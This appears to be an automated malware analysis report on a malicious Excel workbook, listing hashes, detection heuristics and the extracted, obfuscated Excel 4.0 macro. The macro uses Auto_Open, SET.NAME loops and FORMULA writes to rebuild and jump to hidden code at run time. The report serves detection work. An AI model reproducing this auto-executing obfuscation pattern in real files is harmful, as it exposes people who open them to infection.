Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5f2cab7ffe99889…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:41 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 31756ef651976f57be44020622f3f3cc SHA-1: 4f737efa5aa0852907f6d45f88a4f325fcbb8cc4 SHA-256: f5f2cab7ffe99889a51ce1c3d243d04c96c2e3b484ae09f30fe902e212074f22
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6665 bytes
SHA-256: c834739b4d110c4c79f43fea8bd58c3f7f7061f8b145c37d85f7fd2cebb00581
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lAIRsXsRQch
' 0018     20 LABEL : Cell Value, String Constant - AOBXg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B172 
' 0018     22 LABEL : Cell Value, String Constant - avvoBAT len=0 
' 0018     25 LABEL : Cell Value, String Constant - cJfkvsGTJa len=0 
' 0018     25 LABEL : Cell Value, String Constant - fNjJkTqgiY len=0 
' 0018     23 LABEL : Cell Value, String Constant - HlznYqRj len=0 
' 0018     25 LABEL : Cell Value, String Constant - jpdKhdvUBW len=0 
' 0018     22 LABEL : Cell Value, String Constant - LNAJUrH len=0 
' 0018     25 LABEL : Cell Value, String Constant - lNzlqbDbkF len=0 
' 0018     24 LABEL : Cell Value, String Constant - LWHiewSrl len=0 
' 0018     22 LABEL : Cell Value, String Constant - mPLiZua len=0 
' 0018     24 LABEL : Cell Value, String Constant - mTZpYLuOd len=0 
' 0018     27 LABEL : Cell Value, String Constant - NKObFonspPPo len=0 
' 0018     22 LABEL : Cell Value, String Constant - nYiRTrY len=0 
' 0018     26 LABEL : Cell Value, String Constant - OisZQOePxnE len=0 
' 0018     26 LABEL : Cell Value, String Constant - uJULIwSFCfz len=0 
' 0018     23 LABEL : Cell Value, String Constant - vfMikoGq len=0 
' 0018     24 LABEL : Cell Value, String Constant - vVFOQpmkm len=0 
' 0018     23 LABEL : Cell Value, String Constant - WXzrajTE len=0 
' 0018     21 LABEL : Cell Value, String Constant - xdwiAM len=0 
' 0018     27 LABEL : Cell Value, String Constant - YsGjALRLwXdo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lAIRsXsRQch,B87,"SET.NAME("vVFOQpmkm",VALUE("0"))",""
'  lAIRsXsRQch,B89,"SET.NAME("jpdKhdvUBW",vVFOQpmkm)",""
'  lAIRsXsRQch,B94,"SET.NAME("WXzrajTE",vVFOQpmkm)",""
'  lAIRsXsRQch,B98,"SET.NAME("cJfkvsGTJa",COUNTA(xdwiAM))",""
'  lAIRsXsRQch,B100,"SET.NAME("mPLiZua",COUNTA(LNAJUrH))",""
'  lAIRsXsRQch,B103,[],""
'  lAIRsXsRQch,B106,"SET.NAME("nYiRTrY","")",""
'  lAIRsXsRQch,B110,"jpdKhdvUBW",""
'  lAIRsXsRQch,B113,"SET.NAME("lNzlqbDbkF",HLOOKUP("*",xdwiAM,jpdKhdvUBW,FALSE))",""
'  lAIRsXsRQch,B118,"fNjJkTqgiY",""
'  lAIRsXsRQch,B121,"SET.NAME("uJULIwSFCfz",vVFOQpmkm)",""
'  lAIRsXsRQch,B126,[],""
'  lAIRsXsRQch,B128,"uJULIwSFCfz",""
'  lAIRsXsRQch,B131,"vfMikoGq",""
'  lAIRsXsRQch,B133,"AOBXg",""
'  lAIRsXsRQch,B137,"LWHiewSrl",""
'  lAIRsXsRQch,B140,"SET.NAME("OisZQOePxnE",VALUE(HLOOKUP("*",LNAJUrH,LWHiewSrl,FALSE)))",""
'  lAIRsXsRQch,B142,"avvoBAT",""
'  lAIRsXsRQch,B146,"nYiRTrY",""
'  lAIRsXsRQch,B150,"WXzrajTE",""
'  lAIRsXsRQch,B153,NEXT(),""
'  lAIRsXsRQch,B157,"YsGjALRLwXdo",""
'  lAIRsXsRQch,B160,"SET.NAME("f",INT(T(FORMULA(T(nYiRTrY)&"",""&T(YsGjALRLwXdo)))))",""
'  lAIRsXsRQch,B162,"mTZpYLuOd",""
'  lAIRsXsRQch,B166,NEXT(),""
'  lAIRsXsRQch,B169,RETURN(),""
'  lAIRsXsRQch,B196,"SET.NAME("NKObFonspPPo",B87)",""
'  lAIRsXsRQch,B201,"xdwiAM",""
'  lAIRsXsRQch,B205,"SET.NAME("LNAJUrH",R75C14)",""
'  lAIRsXsRQch,B207,"SET.NAME("mTZpYLuOd",214)",""
'  lAIRsXsRQch,B209,"SET.NAME("HlznYqRj",2)",""
'  lAIRsXsRQch,B213,NKObFonspPPo(),""
'  lAIRsXsRQch,B214,HALT(),""